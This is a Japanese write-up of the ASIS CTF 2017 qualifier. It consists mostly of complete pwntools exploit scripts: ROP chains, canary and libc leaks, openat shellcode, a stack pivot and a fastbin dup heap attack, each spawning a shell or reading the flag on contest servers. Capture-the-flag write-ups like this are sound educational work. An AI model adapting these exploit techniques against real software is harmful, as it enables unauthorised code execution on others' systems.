ASIS CTF 2017 Quals writeup
はじめに
TokyoWesternsで参加して4933ptで3位だった。そのうち998ptを取った。 解いてflagを出したのは、Random generator、Defaulter、CRC、Stard hard、Ca…gF remastered、CTF Surveyの6問(実質5問)だった。
Random generator (Warm-up, Pwning 95pt)
バイナリはまともに読んでないので詳しくは分からないがcanaryが分かるのでROPした。やるだけ
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "69.90.132.40" RPORT = 4000 LHOST = "127.0.0.1" LPORT = 4000 # libc = ELF('') elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute) else: conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1']) # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''}) # preparing for exploitation def leak(idx): conn.sendlineafter('What random value do you want to get?', str(idx)) conn.recvuntil('Your value = ') buf = conn.recvline() buf = buf.strip('\n') return int(buf) # 0x00400f8c: pop rax ; pop rdi ; ret ; (1 found) # 0x00400f61: pop rsi ; pop r15 ; ret ; (1 found) # 0x00400f88: mov rdx, rsi ; ret ; (1 found) # 0x00400f8f: syscall ; (1 found) pop_rax_rdi = 0x00400f8c pop_rsi_r15 = 0x00400f61 mov_rdx_rsi = 0x00400f88 syscall = 0x00400f8f bss_base = 0x602340 bufsize = 0x410 - 8 log.info('Pwning') rop = "" # read(stdin, bss, 0x100) # rdx = 0x100 size rop += p64(pop_rsi_r15) rop += p64(0x100) rop += p64(0x0) rop += p64(mov_rdx_rsi) # rsi = bss *buf rop += p64(pop_rsi_r15) rop += p64(bss_base) rop += p64(0x0) # rdi = 0 fd, rax = 0 SYS_read rop += p64(pop_rax_rdi) rop += p64(0x0) rop += p64(0x0) # syscall rop += p64(syscall) # system(&"/bin/sh", NULL, NULL) # rdx = NULL rop += p64(pop_rsi_r15) rop += p64(0x0) rop += p64(0x0) rop += p64(mov_rdx_rsi) # rsi = NULL rop += p64(pop_rsi_r15) rop += p64(0x0) rop += p64(0x0) # rdi = &"/bin/sh" rop += p64(pop_rax_rdi) rop += p64(59) rop += p64(bss_base) rop += p64(syscall) binsh = "/bin/sh\x00" canary = 0 for i in range(1, 8): print i buf = leak(i) canary += buf << ((i) * 8) print hex(canary) conn.sendline("0") payload = "A" * bufsize payload += p64(canary) payload += "XXXXYYYY" payload += rop # payload += rop conn.sendline(payload) conn.sendline(binsh) conn.interactive() # ASIS{e77c4a76d8079b330e7e78e8e3f434c4}
Defaulter (Pwning 186pt)
blind問。バイナリがないのでまずはテキスト領域をダンプした。write, read, openatが許可されているので、flagを開いて読んだ。openatの第一引数を-100にするとopenと同じ動きをするらしい。あとはやるだけ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "188.226.140.60" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 4000 # libc = ELF('') # elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute) else: conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1']) # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''}) # preparing for exploitation # leak text text_base = 0x400000 shellcode = ''' push 0x30 pop rax xor al, 0x30 push rax mov rax, 0x67616c662f2f2f2e push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 syscall mov rdi, rax mov rsi, 0x601810 mov rdx, 0x100 xor rax, rax syscall mov rdi, 0x1 mov rsi, 0x601810 mov rdx, 0x100 mov rax, 1 syscall ''' conn.recvuntil('The shellcode to execute:') conn.sendline(asm(shellcode)) print repr(asm(shellcode)) print repr(conn.recv(1024)) print repr(conn.recv(1024)) # ASIS{r34d_wr1t3_sh3llc0de_w1th_0pen4t_:-P}
CRC (Pwning 123pt)
サイズと文字列を投げると、そのCRC32の値を返してくれる。入力にgets()を使っているのでBOFがある。あとはlibcとcanaryを求めた。
#!/usr/bin/env python from pwn import * import json context(os='linux', arch='i386') # context.log_level = 'debug' # output verbose log RHOST = "69.90.132.40" RPORT = 4002 LHOST = "127.0.0.1" LPORT = 4002 # libc = ELF('') elf = ELF('./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], execute=execute) else: conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d']) # conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 100 stdout_addr = 0x804a024 #stdout_offset = 0x1b0d60 stdout_offset = 0x1b2d60 libc_start_main_got = 0x8049ff0 libc_start_main_offset = 0x0018540 master_canary_offset = 0x1e5954 system_offset = 0x0003a940 binsh_offset = 0x158e8b f = open('table.json', 'r') d = json.load(f) def CRC(size, payload): conn.sendlineafter('Choice: ', str(1)) conn.sendlineafter('What is the length of your data: ', str(size)) conn.sendlineafter('bytes to process: ', payload) conn.recvuntil('CRC is: ') return int(conn.recv(10), 16) def search(h): for k, v in d.items(): if v == h: return int(k) return -1 log.info('Pwning') payload = "\x00" * bufsize payload += p32(stdout_addr) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 0))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 1))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 2))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 3))) buf = '' buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 0)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 1)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 2)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 3)))) libc_base = u32(buf) - libc_start_main_offset log.info('libc_base = {:#x}'.format(libc_base)) master_canary = libc_base + master_canary_offset # master_canary = libc_base + binsh_offset #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 0))) #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 1))) ##print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 2))) #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 3))) buf = '' buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 0)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 1)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 2)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 3)))) log.info('canary = {:#x}'.format(u32(buf))) payload = "A" * 0x28 payload += buf payload += "AAAA" * 3 payload += p32(libc_base + system_offset) payload += "BBBB" payload += p32(libc_base + binsh_offset) conn.sendline('1') conn.sendline(payload) conn.interactive() # ASIS{db17755326b5df9dab92e18e43c3ee51}
% cat table.json {"0": 3523407757, "1": 2768625435, "2": 1007455905, "3": 1259060791, "4": 3580832660, "5": 2724731650, "6": 996231864, "7": 1281784366, "8": 3705235391, "9": 2883475241, "10": 3523407757, "11": 1171273221, "12": 3686048678, "13": 2897449776, "14": 901431946, "15": 1119744540, "16": 3484811241, "17": 3098726271, "18": 565944005, "19": 1455205971, "20": 3369614320, "21": 3219065702, "22": 651582172, "23": 1372678730, "24": 3245242331, "25": 3060352845, "26": 794826487, "27": 1483155041, "28": 3322131394, "29": 2969862996, "30": 671994606, "31": 1594548856, "32": 3916222277, "33": 2657877971, "34": 123907689, "35": 1885708031, "36": 3993045852, "37": 2567322570, "38": 1010288, "39": 1997036262, "40": 3887548279, "41": 2427484129, "42": 163128923, "43": 2126386893, "44": 3772416878, "45": 2547889144, "46": 248832578, "47": 2043925204, "48": 4108050209, "49": 2212294583, "50": 450215437, "51": 1842515611, "52": 4088798008, "53": 2226203566, "54": 498629140, "55": 1790921346, "56": 4194326291, "57": 2366072709, "58": 336475711, "59": 1661535913, "60": 4251816714, "61": 2322244508, "62": 325317158, "63": 1684325040, "64": 2766056989, "65": 3554254475, "66": 1255198513, "67": 1037565863, "68": 2746444292, "69": 3568589458, "70": 1304234792, "71": 985283518, "72": 2852464175, "73": 3707901625, "74": 1141589763, "75": 856455061, "76": 2909332022, "77": 3664761504, "78": 1130791706, "79": 878818188, "80": 3110715001, "81": 3463352047, "82": 1466425173, "83": 543223747, "84": 3187964512, "85": 3372436214, "86": 1342839628, "87": 655174618, "88": 3081909835, "89": 3233089245, "90": 1505515367, "91": 784033777, "92": 2967466578, "93": 3352871620, "94": 1590793086, "95": 701932520, "96": 2679148245, "97": 3904355907, "98": 1908338681, "99": 112844655, "100": 2564639436, "101": 4024072794, "102": 1993550816, "103": 30677878, "104": 2439710439, "105": 3865851505, "106": 2137352139, "107": 140662621, "108": 2517025534, "109": 3775001192, "110": 2013832146, "111": 252678980, "112": 2181537457, "113": 4110462503, "114": 1812594589, "115": 453955339, "116": 2238339752, "117": 4067256894, "118": 1801730948, "119": 476252946, "120": 2363233923, "121": 4225443349, "122": 1657960367, "123": 366298937, "124": 2343686810, "125": 4239843852, "126": 1707062198, "127": 314082080, "128": 1069182125, "129": 1220369467, "130": 3518238081, "131": 2796764439, "132": 953657524, "133": 1339070498, "134": 3604597144, "135": 2715744526, "136": 828499103, "137": 1181144073, "138": 3748627891, "139": 2825434405, "140": 906764422, "141": 1091244048, "142": 3624026538, "143": 2936369468, "144": 571309257, "145": 1426738271, "146": 3422756325, "147": 3137613171, "148": 627095760, "149": 1382516806, "150": 3413039612, "151": 3161057642, "152": 752284923, "153": 1540473965, "154": 3268974039, "155": 3051332929, "156": 733688034, "157": 1555824756, "158": 3316994510, "159": 2998034776, "160": 81022053, "161": 1943239923, "162": 3940166985, "163": 2648514015, "164": 62490748, "165": 1958656234, "166": 3988253008, "167": 2595281350, "168": 168805463, "169": 2097738945, "170": 3825313147, "171": 2466682349, "172": 224526414, "173": 2053451992, "174": 3815530850, "175": 2490061300, "176": 425942017, "177": 1852075159, "178": 4151131437, "179": 2154433979, "180": 504272920, "181": 1762240654, "182": 4026595636, "183": 2265434530, "184": 397988915, "185": 1623188645, "186": 4189500703, "187": 2393998729, "188": 282398762, "189": 1741824188, "190": 4275794182, "191": 2312913296, "192": 1231433021, "193": 1046551979, "194": 2808630289, "195": 3496967303, "196": 1309403428, "197": 957143474, "198": 2684717064, "199": 3607279774, "200": 1203610895, "201": 817534361, "202": 2847130659, "203": 3736401077, "204": 1087398166, "205": 936857984, "206": 2933784634, "207": 3654889644, "208": 1422998873, "209": 601230799, "210": 3135200373, "211": 3453512931, "212": 1404893504, "213": 616286678, "214": 3182598252, "215": 3400902906, "216": 1510651243, "217": 755860989, "218": 3020215367, "219": 3271812305, "220": 1567060338, "221": 710951396, "222": 3010007134, "223": 3295551688, "224": 1913130485, "225": 84884835, "226": 2617666777, "227": 3942734927, "228": 1969605100, "229": 40040826, "230": 2607524032, "231": 3966539862, "232": 2094237127, "233": 198489425, "234": 2464015595, "235": 3856323709, "236": 2076066270, "237": 213479752, "238": 2511347954, "239": 3803648100, "240": 1874795921, "241": 414723335, "242": 2175892669, "243": 4139142187, "244": 1758648712, "245": 534112542, "246": 2262612132, "247": 4057696306, "248": 1633981859, "249": 375629109, "250": 2406151311, "251": 4167943193, "252": 1711886778, "253": 286155052, "254": 2282172566, "255": 4278190080}
Start hard (Pwning 201pt)
類題を解いたことがあるので、やるだけだった。blute forceとか必要ない。やるだけ
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "128.199.152.175" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 10001 # libc = ELF('') elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], execute=execute) else: conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249']) # conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 24 bss_stage = 0x601880 one_gadget = 0x0f0567 read_got = 0x601018 # 0x004005c3: pop rdi ; ret ; (1 found) # 0x004005c1: pop rsi ; pop r15 ; ret ; (1 found) pop_rdi = 0x004005c3 pop_rsi_r15 = 0x004005c1 # 0x004005ba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rbx_rbp_r12_r13_r14_r15 = 0x004005ba # 0x00400550: leave ; ret ; (1 found) leave_ret = 0x00400550 # 0x00400490: pop rbp ; ret ; (2 found) pop_rbp = 0x00400490 ''' 0x4005a0: mov rdx,r13 0x4005a3: mov rsi,r14 0x4005a6: mov edi,r15d 0x4005a9: call QWORD PTR [r12+rbx*8] ''' call_r12 = 0x004005a0 log.info('Pwning') # read payload = "A" * bufsize payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x200) payload += p64(bss_stage) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 # read payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x1) payload += p64(read_got) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 # stack pivot payload += p64(pop_rbp) payload += p64(bss_stage) payload += p64(leave_ret) payload += "\x00" * (0x400 - len(payload)) conn.send(payload) payload = p64(0x00000400406) payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x8) payload += p64(read_got) payload += p64(1) payload += p64(call_r12) payload += "XXXXXXXX" * 7 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(bss_stage) payload += p64(0x80) payload += p64(bss_stage + 0x300) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 payload += p64(pop_rbp) payload += p64(bss_stage + 0x300) payload += p64(leave_ret) payload += "A" * (0x200 - len(payload)) conn.send(payload) conn.send('\xd0') libc_base = u64(conn.recv(8)) - 0x00f66d0 log.info("libc_base = {:#x}".format(libc_base)) payload = "AAAABBBB" payload += p64(libc_base + 0x4526a) payload += "\x00" * (0x80 - len(payload)) conn.send(payload) conn.interactive() # ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}
Ca…gF remastered (Pwning 384pt)
heapが良くわからないので、なんとなくでやった。隣にいたheapのプロに色々と聞きながらだったので解けた。適当にheapとlibcのアドレスをリークさせ、fastbin dupでチャンクの共有状態を作りだしてfastbin attackで、stdoutのvtable ptrを書き換えた。あとは適当なOne gadget RCEが使えた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "128.199.85.217" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 10001 # libc = ELF('') elf = ELF('./CaNaKMgF_remastered') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./CaNaKMgF_remastered'], execute=execute) else: conn = process(['./CaNaKMgF_remastered']) # conn = process(['./CaNaKMgF_remastered.bin_e70ec4b07287604ad59ae59f9cb170ab60a0cc5c'], env={'LD_PRELOAD': ''}) # preparing for exploitation def Allocate(size, payload): conn.recvuntil('5. Run away') conn.sendline('1') conn.recvuntil('Length? ') conn.sendline(str(size)) conn.sendline(payload) def Free(idx): conn.recvuntil('5. Run away') conn.sendline('3') conn.recvuntil('Num? ') conn.sendline(str(idx)) def Read(idx): conn.recvuntil('5. Run away') conn.sendline('4') conn.recvuntil('Num? ') conn.sendline(str(idx)) log.info('Pwning') Allocate(0x28, "A" * 0x28) # 0 Allocate(0x28, "B" * 0x28) # 1 Allocate(0x28, "C" * 0x28) # 2 Free(1) Free(0) Read(0) heap_base = u64(conn.recv(6) + "\x00\x00") - 0x30 log.info('heap_base = {:#x}'.format(heap_base)) Allocate(0x500, "A") Free(3) Read(0) libc_base = u64(conn.recv(6) + "\x00\x00") - 0x3c3bc8 log.info('libc_base = {:#x}'.format(libc_base)) Allocate(0x68, "X" * 0x60) # 4 Allocate(0x68, "Y") # 5 Free(4) Free(5) Free(4) Allocate(0x68, p64(libc_base + 0x3c46c5 - 0x8)) # 6 Allocate(0x68, "A") # 7 dummy = "A" * 8 dummy += "B" * 8 dummy += "C" * 8 dummy += p64(libc_base + 0x4526a) dummy += "E" * 8 dummy += "F" * 8 dummy += "G" * 8 dummy += p64(libc_base + 0x791e0) Allocate(0x68, dummy) # 8 payload = "\x00" * 3 payload += "\x00" * (8 * 3) payload += p64(0xffffffff) payload += "\x00" * 8 payload += p64(heap_base + 0xa0) Allocate(0x68, payload) # 9 conn.interactive() # ASIS{full_relro_fastbin_attack!!!!!!_:-P}
CTF Survey
感想書いた。
おわりに
pwnは初心者向けに感じた。heapが良くわからないので精進したいと思う。